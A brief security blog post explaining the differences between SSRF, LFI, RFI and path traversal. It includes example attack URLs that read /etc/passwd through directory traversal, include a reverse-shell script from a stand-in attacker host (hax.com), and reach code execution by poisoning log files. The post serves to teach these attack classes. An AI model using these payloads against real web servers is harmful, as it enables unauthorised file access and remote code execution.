Friday, 30 December 2022

SSRF vs LFI vs RFI vs Path traversal
SSRF:
SSRF forces server to perform actions. but doesnt mean to execute any code.
It helps to describe the beaviour of the server making request to attacker's domain.

SSRF vs RFI:
RFI is one potential consequence of SSRF. We can use SSRF to check if RFI is possible.
RFI uses SSRF, but not all SSRF are RFI.

SSRf vs LFI:
SSRF can be used as LFI to scan internal resources that sit behind the firewall.

LFI vs RFI:
hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php

LFI vs path traversal:
Path traversal is rather passive attack, allowing access to files that is not meant to be accessed.
In LFI, file is included into code that webserver executes before rendering the page.

LFI/RFI leading to RCE:
In LFI, RCE code to be injected into log files and the file is called via http request, to execute.
hxxp://vulnerablesite.com/readpage?file=../../../../logs/reverse-shell

In RFI, RCE code should be called from external server and get executed.
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php

Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna Veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.

Start Work With Me

Contact Me
VAMSI SUKLA
+91-7720093043
Sukla Nilayam, Kakinada